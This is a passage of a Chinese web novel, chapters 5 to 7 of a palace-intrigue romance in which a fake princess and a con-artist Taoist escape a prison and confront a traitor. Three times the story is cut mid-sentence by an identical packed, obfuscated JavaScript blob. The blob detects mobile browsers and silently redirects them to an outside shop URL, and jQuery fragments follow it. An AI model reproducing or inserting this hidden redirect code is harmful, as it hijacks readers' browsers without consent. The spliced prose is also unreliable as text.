雨夜走水,稀奇至极。灵没有再理会二人,转身消失在街头。
荒郊破晓,晨雾弥漫。逃了整整一夜、精疲力尽的两人,终于在一处破旧的道观前停下脚步。
李幼澄瘫坐在地,大口喘息着摆手:“不跑了,不跑了,真跑不动了。”
“你怎么招惹上阿萨辛那帮疯子的?”程南无问。
“谁敢惹江湖上臭名昭著的杀手组织?说不定人家是冲你来的。”李幼澄没好气地回了一句。
“胡说。”程南无当下反驳,“我是个遵纪守法的良民。”
李幼澄环顾四周:“这是哪儿?”
程南无道:“欢迎来到我的道观。”
“你是出家人?”
“那叫道士!”
“道士也吃肉喝酒?”
“道士也是人。”
“好吧。”李幼澄后知后觉,像是想起了什么,“等等,你这个道士想谋杀我,让我殉情?!”
程南无叼着草茎:“搞清楚,是我救了你,我想怎么处置你就怎么处置。”
李幼澄用一种极其古怪的眼神上下打量着他。
“看什么看?”程南无被她看得有些不自在。
“我发现你这个人五官端正,可惜三观歪斜。”她摇头。
“哦?”程南无不气反笑,啧啧两声,反过来打量着她那即便狼狈也难掩盛气凌人的姿态,“你不是第一个这么说我的,我原谅你的冒犯和鲁莽。不过这么多年,是谁一直含辛茹苦地在照顾你?我很是佩服他的胆量和耐心。”
“要你管!”李幼澄气不打一处来,只觉得跟这人说话能折寿,“你这人嘴真欠!早晚被人缝上!”
“作为你的救命恩人,你应该以礼相待,以德报恩。”程南无抱臂倚树,摆出一副债主的模样。
“你把我扔出去那一下,我们就两清了,我不跟你计较。”李幼澄扭过头去,不想看他。
“行,你嗓门大,你有理。”程南无懒得跟她做无谓的争辩。
“嫌我声音大是么?”李幼澄猛地转回头,因为激动和发热,脸上泛起不正常的潮红,她捂着受伤的手臂,气道,“你不知道对狗都是用吼的么!”
程南无看着她那副虚张声势又病恹恹的样子,走近两步。
李幼澄立刻如临大敌,双臂交叉护在胸前,惊恐地瞪着他:“你.....你想对我做什么?虽说我天生丽质,是很漂亮,但是我誓死不从,你休想得逞.....”
见她呼吸短促,嘴唇干裂起了一层白色的死皮,明明虚弱得要命,却还强撑着摆出一副视死如归的架势,程南无没好气地翻了个白眼:“瞎操什么心?幸亏你长得不尽如意,勉勉强强,免此一劫。”
随着李幼澄的动作,她臂上衣衫隐有血迹渗出,程南无嫌弃道:“你伤口感染也不说一声,死这儿多麻烦?”
“都怪你……”李幼澄嗓子沙哑,带着浓重鼻音,委屈巴巴,“我伤口还没好,发热也不是我愿意的。”
“得,你这倒打一耙胡搅蛮缠的天赋也是与生俱来。”程南无看她确实病得不轻,眼里的神采都黯淡了许多,叹了口气,“我兜里比脸还干净,可住不起店给你请郎中。我瞧你面相,似是风邪入体,这不是小事,你还能走吗?”
“走不了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058085|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”李幼澄有气无力地摇头,眼巴巴地望着他,“你能想办法,先让我们离开鸠兹吗?找个安全点的地方。”
程南无闻言,居然直接原地坐了下来,优哉游哉地说:“声音洪亮,说明精力旺盛得很。好,我尊重你的选择,那就不走了,在此地休养生息,以天为被,以地为席。”
李幼澄傻眼,这人……也太随意了?!
她只觉得头痛欲裂,浑身一阵冷一阵热,看程南无真的是一副打算就此安营扎寨的模样,终究是败下阵来,可怜兮兮地挪到程南无身边,伸出没受伤的手,轻轻去拽他衣袖,声音软了下来,带着恳求。
“你这人做事怎么能这么容易就放弃呢?你不再多劝劝我?说不定我就回心转意了呢?”
说着,她像是想起了什么,急忙从怀里掏出一个小布包,小心翼翼地打开,里面竟是几件珠光宝气的首饰。
李幼澄捧着递到程南无眼前晃了晃,努力让自己的声音听起来更有说服力:“你看!我偷带出来的!出来闯荡江湖,手上怎么能没点银子呢,对吧?这样,你想办法送我出城,再随便把我送到一个离鸠兹远点、能看病的地方。你看我这发热,呃,其实也不是太严重,我觉得我还能再撑一撑。”
程南无瞥了一眼那些首饰,上面还带着清晰的宫造印记,哪个当铺敢收?说她蠢吧,她偷东西倒是专挑值钱的拿。他故意扭过头,不为所动。
李幼澄见状,又捧着那包珠宝,锲而不舍地挪到他面前:“那这些我们平分?”
程南无耳朵微动,缓缓转回头,一脸你终于开窍了的表情,点头:“言之有理。行走江湖,确实不能跟银子过不去。”
“是吧!”李幼澄看他似乎被自己说动了,心中一喜,高兴得有些头晕,又怕他反悔抢钱,连忙手脚麻利地将布包重新塞回怀里,还不放心地拍了拍,“这下咱就不愁吃穿!”
她感觉两眼像有火在烧,艰难地想朝程南无翻个白眼表达一下不满,结果白眼翻到一半,只觉得头重得像灌了铅,索性就不翻了。
“我叫李幼澄,你呢?”李幼澄强撑着精神,杏眼中映入程南无那双幽深黑沉的狐狸眸子。
程南无没有立刻回答,而是从怀中取出一个细长的竹筒,伸手感受了一下风向,换到上风口。
他拔开塞子,凑近唇边,轻轻一吹,一股近乎无色的淡淡烟雾便飘出,带着一丝奇异的甜香。
李幼澄嗅了嗅:“好甜的味道。这是什么?”
“迷烟。”
李幼澄闻言,便觉一股强烈的眩晕感。
程南无露出一个堪称温和的笑容:“傻姑娘,江湖路远,人心叵测。希望,下次我们不要再相遇了。”
李幼澄眼前一黑,肠子都悔青了。
不该露财!这杀千刀的假新郎,果然是要抢钱!
5. 是你!
“放开!别推我,我自己会走,你们凭什么抓我?!”
狱卒粗鲁地一把将李幼澄推进一间相对干净的空牢房,骂骂咧咧:“吵什么吵?长得倒挺标致,没想到是个手脚不干净的贼!宫里的东西也敢偷出来当,胆子不小!在这儿好生待着,反省反省!”
李幼澄跌倒在地,又迅速爬起,冲到牢门边,抓住铁栏用力摇晃:“官差大哥,你们讲不讲道理?有什么证据证明那东西是我偷的?!”
狱卒嗤笑了一声,扫过李幼澄的穿着,她身上虽沾了尘土、但料子依旧看得出华贵。
“像你这样偷拿家中御赐之物,打算贴补情郎的娇纵小姐,我见多了。小姑娘,我看你年轻,奉劝你几句,家里锦衣玉食的不好吗?何必出来自讨苦吃,还是多听听家里人的话,安分守己。”
他将刚从李幼澄头上扒下的珠钗揣进怀里,慢悠悠道:“你可知,宫中器物都有特定官印,私卖等同盗窃宫财,是要坐牢杀头的!哪家当铺敢收?别闹了,等几日你家里使点银子打点一番,自然就能出去。”
李幼澄不再争辩,停止了徒劳的摇晃,这瀛洲律法,对宫物的管制竟如此严苛?
那日她被程南无用迷烟放倒,醒来时竟发现自己躺在当铺附近的后巷里,身上还滑稽地盖了张破草席。
她检查怀中,那些顺手牵羊的珠宝首饰一样没少。她想着总得换些银钱度日,便硬着头皮走进了当铺。
谁知刚掏出珠宝,才说了几句话,就被赶来的官差拿了个正着。
李幼澄颓然退后几步,开始打量周遭环境。
对面是间大牢房,地上铺着霉杂草,关了二三十号人,老老少少,男男女女。窃窃私语声中,几个胆大的男子朝她这边吹着轻佻的口哨。
“吵什么吵!都不想活了?!”狱吏甩动着皮鞭,破空锐响吓得众人一缩,瞬间都安静下来,“都给老子安分点!谁再闹事,鞭子伺候!”
“凭什么她能一个人住一间?太不公平了!”一个囚犯指着李幼澄这边,不满地嚷嚷。
“就是!太不公平了!”立刻有人跟着起哄。
“这世道不就这样?有钱有势的,仗着家世打点官府,连坐牢都比咱们舒坦……”
“不公平?”那挥鞭的狱卒冷笑一声,“谁叫你们穷呢?”说罢,随手一鞭子就朝着声音最大的方向抽去。
眼看那带着倒刺的鞭子就要抽中一个挨着栏杆的瘦弱小孩,一个原本在角落的身影猛地窜出,一把将那孩子紧紧揽入怀中,用自己的后背硬生生接下了这一鞭!
鞭子落在那人背上,倒钩瞬间撕扯开道袍,留下一道清晰的血痕。
那狱吏啐了一口,骂骂咧咧地走了:“再吵就把你们都拖出去大刑伺候!”
牢中一阵压抑的骚动,最终却只剩几句抱怨,渐渐归于死寂。
李幼澄蹲下身,透过栏杆,望向对面那个挡在孩子身前的背影。
那人身形高挑,略显单薄,一身道袍,背对着她,看不清面容。
他放开怀中的孩子,半蹲下,低声安抚了几句,那原本吓得浑身发抖的小孩,竟奇迹般地停止了哭泣,甚至破涕为笑。
不知过了多久,牢房走廊尽头传来开锁和脚步声。几个狱卒端着几个大木桶走了进来,开始分发食物。
他们将馒头依次放在各间牢房门外,顿时,十几双手迫不及待地从缝隙中伸出哄抢。
肉少狼多,叫骂声起此彼伏,总有人要饿肚子。
早晨那个挥鞭的狱卒,则将单独的一小盘馒头,放在了李幼澄的牢门前。
李幼澄看着盘里的两个馒头,又看了看对面牢房里那些为了一点食物争抢的人们,犹豫了一下,开口道:“官差大哥,我可以分一个馒头给别人吗?”
那狱卒愣了一下,似乎有些意外,随即无所谓地摆摆手:“这是你的馒头,随你处置。”
李幼澄自己拿了一个,指着对面牢房那个背上有伤、此刻又默默缩回角落的身影:“麻烦你,把这个送给那个人,就是早上替孩子挨了一鞭子的那个。”
狱卒顺着她指的方向望去,脸上露出一丝古怪的神色:“姑娘,我劝你别多管闲事。那人脑子好像不太正常,进来有些日子了,不声不响的,只知道抢吃的,邪门得很。”
见李幼澄执意要送,他摇了摇头,终究还是拿起那个馒头,走过去,隔着栏杆丢了进去。
夜深了,李幼澄靠在墙边,迷迷糊糊被铁链的声响惊醒。
一睁眼,竟见一人盘腿坐在身旁,正目不转睛地盯着她。
李幼澄吓得魂飞魄散,张口欲呼,对方却伸手捂住了她差点出声的嘴。
“小声点,别把人引来。”程南无看着李幼澄因惊吓和气愤而微微发红的脸颊,以及那双在黑暗中瞪得溜圆的杏眼,缓缓放下了手。
李幼澄心脏狂跳,好半天才缓过气,压低声音,咬牙切齿道:“是你?!你这黑心的家伙!为什么要迷晕我?!”
“我不迷晕你,你是不是会死皮赖脸地跟着我?”
李幼澄想了想,老实点头。
“我不想让你跟着,是不是就得迷晕你?”程南无一脸理所当然。
李幼澄点点头,意识到自己被他绕进去了,慌忙使劲摇头。
她越想越气:“你知道我病了,还把我丢在当铺,你这是谋杀!”
“你可别冤枉我,我明明……”程南无话到嘴边,突然顿住,眼中闪过一丝疑惑。
那日,他明明是将昏迷的李幼澄放在了城内一家颇有口碑的医馆门口,贴心的给她盖了草席,亲眼看着里面的学徒发现并将她抬了进去,这才离开的。
怎么现在听她说,醒来时身在当铺?
“......我醒来身上还盖了张破草席!”李幼澄接着控诉,声音带着委屈,“你太残忍了,这是打算把我活埋了?”
程南无沉默片刻,忽然极轻地笑了一声:“有意思。”
“什么意思?”李幼澄心头一紧,有种不好的预感,“我最讨厌别人说话云里雾里了。”
程南无盯着李幼澄,为何遇见她之后,麻烦事就一桩接着一桩,没完没了?
“算了,费脑子,”李幼澄从试图搞清楚到彻底放弃,只花了短短三息时间,她换了个话题,“你呢?这次又冒充道士,又犯什么事了?怎么也进来了?”
程南无三指朝天,眉眼懒散:“我发誓,我可是良民。实在是身无分文,走投无路,掐指一算,此处会遇故人还管饭,虽然差了点,但好歹饿不死,只好厚着脸皮进来混几顿吃喝。”
李幼澄没好气地白他一眼,懒得理会他的满嘴胡诌。忽然想起他背上早晨替人挨的那一鞭,黑暗中看不真切,她伸手想去扳过他的肩膀查看,却被他躲过。
她的手僵在半空,有些尴尬:“呃...你不要误会了,我没准备要做什么,只是想看看你背上的伤如何了?”
“你不是晕血吗?万一晕倒讹我怎么办?”
“谁晕血了?!”李幼澄下意识反驳,随即底气不足地补充,“……好吧,我承认,我就是晕血。”
程南无笑笑:“小伤,死不了。”
李幼澄不再坚持,转而望着对面空了大半的牢房,问道:“这里关了这么多人,都是真的犯了事?”
“多半是莫须有的罪名,家里使点银子打点就能出去,不使的,就在这儿耗着,反正都是小事,传不到上面去。”程南无语气中透着司空见惯的漠然。
“那你是怎么到我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058086|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这间来的?”李幼澄好奇地问。
“走进来的。”程南无答得干脆。
李幼澄瞪他:“好好说话!”
“好吧,不逗你了。”程南无轻笑,“其实很简单。我略施小计,把拿钥匙的狱卒骗过来,没想到被关的人当中有几个练家子,手脚利落得很,他们联手将人打晕,摸了钥匙,开了门。我看你这边清静,就溜达过来了。
李幼澄探头望向对面牢房,果然早已空无一人,只有门边躺着几个被捆作一团,嘴里塞着布的狱卒。
“我们逃狱会被抓的。”李幼澄担心道。
“你现在怎么遵纪守法了?放心,此处关押的人罪名本就不清不楚,档案模糊。那些狱卒为了保住饭碗,绝不会主动上报逃狱这等重大事故,多半会直接销案,当成从未抓过我们。”
见李幼澄仍满脸愁容,程南无继续道:“还有一个法子,我将酒洒在狱卒身上,再找个角落制造一场小范围的火灾。等牢头察觉,他必会认为狱卒是因失职醉酒,不慎失火,这才导致囚犯趁乱逃脱。为了逃避责罚,这些人很可能主动向上汇报为意外走水,数名轻犯趁乱逃逸,并将其压下来。”
“你看,”他笑眯眯地问,“你想选哪个?”
“还是快溜。”李幼澄立刻做出了选择,她抓起手上的铁链就朝铁栅栏上砸去。
程南无不知道李幼澄脑子里成天都在想什么,他取了蜡烛,走到狱卒面前,将钥匙串晃了晃:“诸位是想葬身火海?还是告诉在下正确的钥匙?”
“我会依次展示十把钥匙,有正确的,你们可以眨眼示意,不要耍心思,你们只有一次机会,我若是试错了,手可就拿不稳了。”
程南无将蜡烛靠近其中最年长狱卒的眼下,火几乎要烧到他的眼球,被缚的狱卒们死死盯着他手中的蜡烛,无人敢眨眼。
程南无一连展开三次十把钥匙,狱卒们皆没有反应。
终于在展开第五次十把钥匙时,三名狱卒眼皮猛地颤动好几下。
“很好。”他收起其余钥匙,“看来诸位还算惜命。”
他返回到李幼澄身边,抬起锁,观察着锁孔内的结构,又仔细观察着那十把钥匙上的痕迹。
最终锁定两三把,试了两次,铁锁应声而开。
二人悄然起身,溜出牢房。
四下寂静,月光惨白,一队巡逻的狱卒刚走过,个个面色忐忑,隐约传来低语:
“你上次说长乐公主遇刺,至今昏迷不醒……”
“关键时期,咱们还是别多事,严加看管重犯牢房要紧……”
“对对对。”同伴连忙附和,声音渐远。
待巡逻的人彻底走远,二人才从藏身的树丛中探出身来。
程南无打量着四周完全陌生的环境:“你不是说你知道出去的路吗?怎么绕来绕去,带我到这个鬼地方来了?”
“小声些!”李幼澄一把将他拉回阴影里,压低声音,“我有些事要问里面的一个叫柳云亦的老头,你帮我进去。”
“得嘞,您自个儿玩命吧,我年轻,还想多活几年。”程南无甩袖要走。
李幼澄一把拉住他,急道:“你帮我这次,你想要什么都有!”
程南无脚步不停。
“我家中颇有资产,分你三成!”
程南无步子稍缓。
李幼澄看着他的背影:“你的银子是你的银子,我的银子也是你的。”
他原地站定,似乎在艰难地权衡。
几个呼吸后,程南无转身,蹲回到李幼澄身边的原处,一脸正气:“银子不银子的无所谓,主要是怕你一个人在这儿害怕。你我虽萍水相逢,却一见如故。不就是进去吗?跟我来。”
“......”
6. 坏家伙,我快疼死了!
程南无从怀中取出些不起眼的膏粉,就着墙角渗出的水汽,在脸上揉捏勾画。
不过一刻钟光景,他再抬眼时,眉宇间那股散漫已荡然无存,取而代之的是属于李爝的冷硬与锋锐,虽只七八分相似,但在晦暗光线下,足以以假乱真。
李幼澄则将顺来的宽大斗篷兜帽拉起,严严实实遮去了大半张脸。
二人就这么大摇大摆的走进牢狱中。
“李,李大将军!您刚刚不是来过吗?怎么这会儿.....”一名值守的狱卒看清来人面容,惊得差点咬到舌头,慌忙迎上前,语气满是困惑与惶恐。
“糊涂东西!”李幼澄立刻压低嗓音,模仿着宫中女官的严厉口吻喝道,“大将军何曾来过?中计还不自知,快去前头带路!耽误了大事,你有几个脑袋够砍?!”
牢头被程南无那冷冽眼神一扫,不敢多言,忙取了钥匙躬身引路。
一路行去,狱卒见是牢头亲自引领,又见李大将军神色冷峻,纷纷避让低头,竟是畅通无阻地直抵关押柳云亦的那间独立石牢。
那牢头刚在李幼澄的示意下打开牢门,还未来得及转身请示,后颈便遭到一棒重击,连哼都未哼一声,晕了过去。
程南无丢开火把,侧身让开通道,对李幼澄道:“抓紧时间。”
李幼澄朝程南无挥拳示狠:“你出去把风。”
“别太磨叽。”程南无转身离开。
柳云亦手脚皆被粗重的铁链束缚,行动艰难,只能勉强挪动。一双眼闪着警惕的光。
李幼澄神色轻松、背手走近。
柳云亦目光微动,试探道:“你是……?你不会是来救我出去的吧?”
“有些事要问你,问清楚了,或许真能救你出去。”李幼澄伸手取过壁上插着的火把,跃动的火光映亮了她兜帽下半张脸,“背过身去。”
柳云亦迟疑不动,眼中疑色更重。
她解释道:“我有钥匙,能开你的锁,这里太暗了,拿火把照着看的清楚些。”
柳云亦权衡片刻,察觉此女气息寻常,并非习武之人,自己即便受缚,一旦镣铐解开,制住她易如反掌。
于是,他缓缓转过身去。
就在他转身的刹那,李幼澄手中火把狠狠砸向他膝窝,不等他痛呼出声,火把又迅疾抡向另一条腿的相同位置!
柳云亦猝不及防,双腿传来钻心剧痛,瞬间失去所有力气,跪倒在地。
“小贱蹄子!”柳云亦瘫在地上痛叫着。
程南无刚放倒外间几名狱卒折返,恰巧看见平日柔弱的李幼澄举棒将人抽倒在地。
感受到程南无的目光,李幼澄动作微顿,随即又狠狠补了一下。
程南无耸耸肩,示意她继续,然后背过身去。
李幼澄不再理会地上痛呼咒骂的柳云亦,从袖中取出一叠折叠整齐的信纸,展开,就着微弱的光线,念道:“说说看,你叛逃瀛洲之后,到底泄露了西京多少军政机密?”
柳云亦背对着她蜷缩在地,声音发颤:“我与你无冤无仇,你到底想要做什么?”他拼命的挣扎着想要转身,却被沉重的镣铐和腿上的剧痛限制。
“死不承认?”李幼澄目光一行行扫过信纸,“既然你不肯认……”
“那我便告诉你,我乃是西京长乐公主!”她深吸一口气,语气陡然变得激愤,“你为瀛宣帝献上毒计,撺……撺……”她盯着纸上某个字。
程南无听着觉得不对劲,走过去,借着那点微弱的火光看向信纸,上面赫然写着“撺掇”二字,他正准备出声提醒,却听李幼澄继续道。
“……撺又那华阳公主和亲,嫁与我七哥,他这么好的一个人,落得个英年早逝的下场。查到你,你便叛逃到瀛洲,其实你一早就是瀛洲安插在西京的细作!为了给七哥报仇,我答应和亲,条件就是要瀛宣帝将你这枚弃子贬至这......”
“鸠兹。”程南无见她顿住,轻声提醒。
“……对,这鸠兹地牢。”李幼澄语气更厉,“你蛰伏西京多年,在瀛宣帝心中的分量也不过如此,你这样的毒士,死一百次都不足为惜!我要......”
她换过一页纸,继续念道:“为我的七哥讨回公道!”
说罢,她点燃信纸,双手抡起火把,冲上前朝着柳云亦的头颅狠狠击去:“柳云亦,受死吧。”
程南无怕血迹溅到自己,连忙退开数步。
柳云亦额角流血,然而,他非但没有求饶,反而发出一阵怪笑:“殿下,你只知七皇子是因我接受和亲的提议而亡,却不知他真正的死因,他的死,给了西京皇多少发难兴兵的借口?殿下你和亲瀛洲,又恰巧遇刺......我全明白了,原来如此!”
“你们借刺客之名,让死士换上御林军服,真正的御林军精锐则光明正大在短时间内,从鸠兹潜入瀛洲各处要害……西京皇,下得一盘好棋啊!只是他千算万算,恐怕也不知,那日的刺客中,竟混进了其他真正想要致公主于死地的人吧?!”
柳云亦自知生机已绝,狂笑不止,笑声中充满了嘲讽与悲凉。
李幼澄丢开早已熄灭的火把,揪住他的衣领:“你说什么?把话讲清楚!”
“你好自为之。”柳云亦脸上露出一抹诡异的笑容,用力咬断了自己的舌根,他身躯剧烈地抽搐了一下,随即彻底僵直。
李幼澄颤巍巍松开尚有余温的尸体,伸手再探他鼻息,已然气绝。
她踉跄起身,眼前阵阵发黑,强忍着腹部传来的阵痛,紧咬下唇强撑:“人是我杀的,你快走,或许还来得及。”
灯火昏昧,跳跃不定,映得程南无脸上神色晦暗难辨。
他没有动,只是静静地看着她:“你故意拿带官印的珠宝去当,假意被捉,就是为了混入这鸠兹大牢杀柳云亦。”
“今日牢中那两名练家子,是早安排好来接应你的吧?可惜遇见我,你临时改变了计划,那两人,或者该说是你背后之人,清理了障碍,掩护你我轻易进入这重牢。”
“带官印之物何其显眼,官差只要不蠢,绝不敢怠慢你。我再猜,那些在刺杀中被调包的御林军,恐怕早已探明柳云亦关押之处。”
“我只是好奇,你一个声称只收了五十两银子的替嫁女,既已从驿站混乱中逃脱,为何不就此远走高飞,逍遥自在?偏要回过头来,蹚这诛杀朝廷钦犯的浑水?”
“那五十两,恐怕只是你替嫁的酬劳。真正的赏金,或者说任务,在后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058087|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,长乐公主要你以她的身份杀了柳云亦,为她死去的七哥报仇,故而她的侍女秋实才一直配合你,未曾拆穿你的身份。”
程南无笑意加深,继续推测:“又或许,替嫁之事是假的,你自始至终都在骗我,你就是真的长乐公主。”
“你说的什么,我听不懂。”李幼澄勉强一笑,面色骇人。
“不重要了。”程南无不知她是真不懂还是装傻,也懒得深究,他晃了晃指尖的银针,“你那样的打法根本不致死,我在医馆借的保命毒针,能够一击毙命,刚才发现少了一根,你什么时候偷走的?”
李幼澄纠正了他的措辞:“你不问自取是为偷,不是借。而我从一个窃贼身上,拿回了赃物,不算偷。”
“都这种时候了,你一定要跟我抠字眼吗?”程南无简直要被她气笑。
“呵呵……”李幼澄气息已有些不稳,“这邀功的表情太难看了,是要我跟你道谢么?你这阵仗,搞得我像犯了什么不可饶恕的罪一样。”
程南无敛了脸上最后一丝戏谑,神色变得严肃起来:“你若聪明,就好好想想柳云亦临死前的话。”
“你可不要小瞧我。”李幼澄手按腹部,湿黏一片,她抬眼望他,视线却已模糊,“请吧,我随后。”
“行。”程南无的性子向来随意,转身离去。
待那道身影彻底消失,李幼澄强撑的一口气骤然松懈,整个人如断线木偶般软倒在地,唇间溢出一缕鲜红。
方才她俯身揪住柳云亦衣领逼问时,那老贼竟暗中藏有锋利的瓷片,趁机狠狠刺入了她的腹部。她一直强忍着剧痛,不敢显露分毫。
李幼澄何尝不想程南无带她走?但那样,两人都逃不掉了。
以程南无的性子,就算她要跟他走,他看到她受伤,多半也会独自离去。
李幼澄宁愿是自己逼走他,也好过被他权衡之后舍弃,毕竟,程南无要是就这样丢下她不管了,她心里还是很受伤的。
外面嘈杂四溢,室内中却异常安静,只余李幼澄沉重的呼吸声。
她眼皮越来越重,视野被黑暗逐渐吞噬。恍惚间,似乎还有人低唤她的名字。
她想回应,可伤口实在是疼的厉害,眼泪就这么不争气的夺眶而出。
“你这个坏东西,你不是不管我么?有没有麻沸散?我快要疼死了,你是不是就等着我被疼死,你好一走了之?你个没心没肺的,我让你走,你还真的走,好歹相识一场,好疼呐……”
“没人嫌你话多么?”程南无那张带着些许不耐和嫌弃的脸,重新出现在李幼澄模糊的视野里。
“我那三枚宝贝铜板你给藏哪儿了?你不说我要搜身了,不要说我占你便宜。”
李幼澄疼的一句话都说不出来,眼泪汪汪的看着他。
“……不要以为光靠嘴硬就能扛过去。”程南无看着她这副惨状,语气软了几分,但话依旧不中听,“你背后那人就这么轻松让你去死?”
李幼澄翕动着嘴唇,似乎想辩驳,却听程南无低声骂了句什么,随即像是认命般道:“真是栽你手里了。”
下一刻,天地倒转,李幼澄整个人被程南无扛上了肩头。她的伤口被牵扯,彻底顶不住,昏死了过去。
7. 人模狗样
李幼澄是独自一人在医馆醒来的。
不过这次还好,至少她被丢在了医馆,没在荒郊野外。
她没想到,做个冒牌公主还能做到颠沛流离,被朝廷重金悬赏。
饿,是真的饿,肚子应景的叫了几声。
李幼澄搅动着河水,水中漪涟荡漾开,倒影狼狈不堪,一张满是泥土的脸,唯剩一双杏眼仍亮得灼人。
事已至此,想要活下去,除了偷盗别无它法。
饿死街头?这不是她该有的死法。
要是有好心人捡她回去,或者施舍几顿饭菜.....这个念头刚起,李幼澄便自己否定了。
如今她在旁人眼中,无异于一块行走的千两黄金,谁不想捉她去领赏?施舍?怕是直接捆了她送官。
李幼澄再次叹了一口气,摸着饿瘪的肚子,顺手挖了一坨泥巴糊在脸上,免得被别人认出来。
湍急的河水中,一道人影从她旁边漂过。
随着那人越飘越远,李幼澄咬牙:“可恶......哪有见死不救的道理。”
她跃入河中,捞起那人,本就饿的没有体力的李幼澄累倒在一旁。
身旁传来一阵剧烈的咳嗽和呛水声。那个被她救起的人,吐出了几口浑浊的河水,缓缓坐起身来。
李幼澄被吓得向后挪了挪,望着他挺拔却湿透的背影,迟疑的关心道:“你没事吧?”
那人望着滔滔河水,惋惜地叹道:“获救了吗?切!”
“切?!”李幼澄眼角一跳,怒火直接窜起,“我救了你,你便是这般态度?”
他站起身来,拧着湿漉漉的袖口,转过身,看着那张被水冲洗后花里胡哨的脸,出声指责:“就是你吗?妨碍我自杀的罪魁祸首。”
“又是你!自……杀?”李幼澄看清他的脸,“你竟要自杀?!”
“不错。”程南无悠悠道,“本想求个干净利落,却被你多管闲事……”
救人后反被倒打一耙,李幼澄气得几乎要呕血,她坐起身,指着他道:“你这人好没道理!为什么我救了你反倒被责怪?”
“算了,”程南无一副不欲多言的模样,他脱下湿透的外袍,看也没看就丢到了李幼澄头上,宽大的布料恰好将她玲珑有致的身形罩了个严实,“跟你这榆木脑袋说不清。”
就在这时,李幼澄肚子不合时宜的响了起来,她裹上他宽大滴水的袍子,摸着肚子尴尬的,晃悠悠站起来。
“肚子饿了?”程南无挑眉。
李幼澄老实承认:“身无分文,已经几天没吃东西了。”
话音刚落,一阵更响亮的声音从程南无的肚子响起,他面不改色,笑嘻嘻道:“好巧,我也是。”
“那么,正好……”李幼澄眼睛一亮,嘴角忍不住弯起,满是对吃上美食的期待。
程南无非常配合的掏出荷包,当着她的面,底朝天地抖了抖,空空如也:“我也身无分文,穷的很。”
他笑的毫无愧意,正当他要走,却听李幼澄道:“找遍整个牢房都没有寻见那三枚铜板,你猜到在哪里了?”
程南无脚步一顿,转过身,伸出手,一副我早就知道的表情:“这不刚送走你这个麻烦,想想又不对,就来寻你了么?说吧,怎么才肯物归原主?”
“那铜钱对你来说就这么宝贝?看你表现,总之被我藏在一个很安全的地方,不在身上。”
不远处石桥上,一个书生模样的青年正在执笔记录着,嘴里念念有词:“程南无,为助友人苏道元勘测容溪鸠兹段水速、涡流之力,不惜以身犯险,顺流而下……然,突遭一不明女子拦截救援,功亏一篑,实乃憾事一桩。”
他一边写,一边摇头晃脑:“可惜,可惜,数据只采集到七成……”
程南无朝桥上挥手,扬声喊道:“善常兄,我在这。”
李幼澄也听到了苏道元的话,她难以置信地盯着程南无:“勘测水流?你不是自杀?你又骗我!”
“那书呆子在编著《水经要术》,缺人实地勘测数据,我出力他出钱,公平交易。”
苏道元此时已走下石桥,来到近前。他先是好奇地打量了一下狼狈不堪的李幼澄,然后彬彬有礼地拱手道:“在下苏道元,字善常。惊扰姑娘了,敢问姑娘芳名?”
“李幼澄。”
苏道元指向程南无,目光却带着同情看向李幼澄:“李姑娘,恕在下冒昧,你是怎么惹上程南无这个……呃,江湖骗子的?”他似乎想找个更文雅的词,但最终还是用了最直接的。
李幼澄瞪着一双杏眼看着程南无傻笑。
“好看吗?”程南无神情十分愉悦。
李幼澄笑吟吟的点头。
造孽啊,苏道元瞬间明了,看来不是被坑蒙拐骗,这傻姑娘是见色起意,自己缠上来的。
他心中不由得感叹,即使程南无未着华衣玉冠,但这张脸也依旧太过艳丽,锋芒逼人。
程南无神秘兮兮的朝李幼澄勾了勾手指,李幼澄出于好奇,凑了过去,他道:“我想到一个好主意,他有银子,让他请我们吃饭就行。”
“这样行吗?”李幼澄虽饿,脸皮却还没练到像程南无那般,能在当事人面前如此恬不知耻地打秋风。
“这有何不行?”程南无理直气壮,两三步追上已走的苏道元,回头朝仍愣在原地的李幼澄喊道,“快跟上,后到的没饭吃!”
六和行馆,一间还算干净的厢房。
沐浴梳洗后的李幼澄,换上了苏道元差人买来的寻常女子衣裙。
李幼澄正对着铜镜梳妆,隔壁猛然传来程南无杀猪般的嚎叫:“苏道元!你下手能不能轻点?!我背上这伤口泡了河水,现在又红又肿,疼得要命!你是救人还是杀人?!”
接着是苏道元无奈的声音:“既知身上有伤,还敢往那湍急冰冷的河里跳?你这般不吝惜自己,怪得了谁?”
“世道艰难,生活不易啊,善常兄!”程南无的声音带着夸张的悲愤,“谁会和白花花的银子过不去?你那点润笔费,可是我的卖命钱!”
